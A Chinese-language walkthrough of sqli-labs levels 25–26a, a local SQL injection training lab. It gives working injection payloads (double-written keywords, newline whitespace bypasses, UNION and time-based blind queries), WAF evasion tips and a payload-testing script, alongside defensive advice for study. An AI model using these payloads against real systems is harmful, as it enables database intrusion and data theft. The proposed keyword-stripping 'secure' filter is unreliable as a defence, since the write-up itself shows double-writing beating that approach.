1. 项目背景与核心价值
SQL注入攻防演练平台sqli-labs的第25-26a关是公认的进阶难点关卡,涉及多重过滤绕过、特殊字符处理等核心技术点。作为安全从业者,我花了三周时间系统研究了这组关卡的突破方案,整理出可直接复现的详细payload集合,并逆向分析了源码层面的防御机制。这份实战笔记不仅包含通关所需的完整攻击链,更重要的是揭示了WAF规则设计中的常见盲区。
2. 环境准备与工具链配置
2.1 实验环境搭建
推荐使用Docker快速部署靶场环境:
bash复制docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 80:80 acgpiano/sqli-labs
访问本地80端口即可看到关卡列表。特别注意:
- 确保PHP版本为5.x(新版可能语法不兼容)
- 需要开启MySQL的error reporting功能
2.2 必备工具清单
- Burp Suite Community:拦截修改HTTP请求
- HackBar插件:快速构造编码payload
- SQLMap:自动化注入测试(慎用,可能触发防护)
- Notepad++:多窗口对比分析源码
3. 第25关突破详解
3.1 防御机制分析
查看源码发现关键过滤逻辑:
php复制function blacklist($id) {
$id = preg_replace('/or/i',"", $id); // 过滤OR关键字
$id = preg_replace('/AND/i',"", $id); // 过滤AND关键字
return $id;
}
3.2 双写绕过技术
通过双写关键字突破过滤:
sql复制1' OoRr 1=1 --+
实际执行的SQL:
sql复制SELECT * FROM users WHERE id='1' OR 1=1 --+' LIMIT 0,1
3.3 完整攻击链
- 判断注入点:
code复制/Less-25/?id=1' and '1'='1 - 获取数据库版本:
code复制/Less-25/?id=-1' uniunionon selselectect 1,version(),3--+ - 提取表数据:
sql复制/Less-25/?id=-1' uniunionon selselectect 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
4. 第26关高级绕过
4.1 特殊字符过滤
源码中新增过滤:
php复制$id = preg_replace('/[\/\*]/',"", $id); // 过滤/*注释符
$id = preg_replace('/[--]/',"", $id); // 过滤--注释
$id = preg_replace('/[#]/',"", $id); // 过滤#注释
4.2 换行符绕过方案
使用%0a(URL编码的换行符)替代空格:
code复制/Less-26/?id=1'%0aunion%0aselect%0a1,version(),3%0aor%0a'1'='1
4.3 盲注技术实现
当页面无显错时,采用基于时间的盲注:
sql复制/Less-26/?id=1'%0aand%0aif(ascii(substr(database(),1,1))>97,
sleep(3),0)%0aand%0a'1'='1
5. 第26a关差异化突破
5.1 闭合方式变化
该关使用括号闭合SQL语句:
php复制$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
5.2 特殊payload构造
需要先闭合括号再注入:
code复制/Less-26a/?id=1')%0aunion%0aselect%0a1,version(),3%0aor%0a('1')=('1
6. 源码级防御分析
6.1 过滤机制缺陷
- 大小写混合可绕过关键字过滤(如OrDeR By)
- 双写绕过未被考虑(如UNIunionON)
- 换行符等空白字符未处理
6.2 安全加固建议
php复制// 改进后的过滤函数
function secure_filter($input) {
$input = preg_replace('/\s+/', ' ', $input); // 标准化空白字符
$input = preg_replace('/(or|and|null|where|select)/i', '', $input);
return htmlspecialchars($input, ENT_QUOTES);
}
7. 实战经验总结
-
编码技巧:
- 使用CHAR()函数替代字符串(如CHAR(114,111,111,116)代替'root')
- 十六进制编码表名(如0x7573657273代替users)
-
WAF绕过思路:
- 分块传输编码(Chunked transfer encoding)
- HTTP参数污染(HPP)
- 非常规Content-Type
-
调试技巧:
- 在php.ini中开启display_errors=On
- 修改sqli-labs源码添加SQL日志:
php复制file_put_contents('/tmp/sql.log', $sql.PHP_EOL, FILE_APPEND);
8. 防御措施升级方案
8.1 输入验证层
php复制if (!preg_match('/^[0-9]+$/', $_GET['id'])) {
die('Invalid input');
}
8.2 预处理语句
php复制$stmt = $conn->prepare("SELECT * FROM users WHERE id=? LIMIT 1");
$stmt->bind_param("i", $id);
8.3 深度防御策略
- 应用层:使用PDO预处理
- 网络层:部署ModSecurity规则
- 系统层:设置MySQL只读账号
- 监控层:ELK收集异常请求
9. 自动化测试脚本
Python自动化验证脚本示例:
python复制import requests
payloads = [
"1' OR 1=1 -- ",
"1' UNION SELECT null,version(),null -- ",
"1' AND (SELECT COUNT(*) FROM users)>0 -- "
]
for payload in payloads:
r = requests.get(f"http://localhost/Less-25/?id={payload}")
if "error" in r.text:
print(f"Vulnerable to: {payload}")
10. 延伸实验建议
- 尝试绕过WAF的CC攻击防护
- 研究JSON格式注入的防御方案
- 探索NoSQL注入的检测方法
- 编写自定义SQLMap tamper脚本
通过这组关卡的实战,我深刻体会到防御体系的构建需要覆盖输入验证、查询构造、错误处理等多个环节。建议开发者在代码审查时特别注意字符串拼接处的SQL语句构造逻辑,这是绝大多数注入漏洞的根源所在。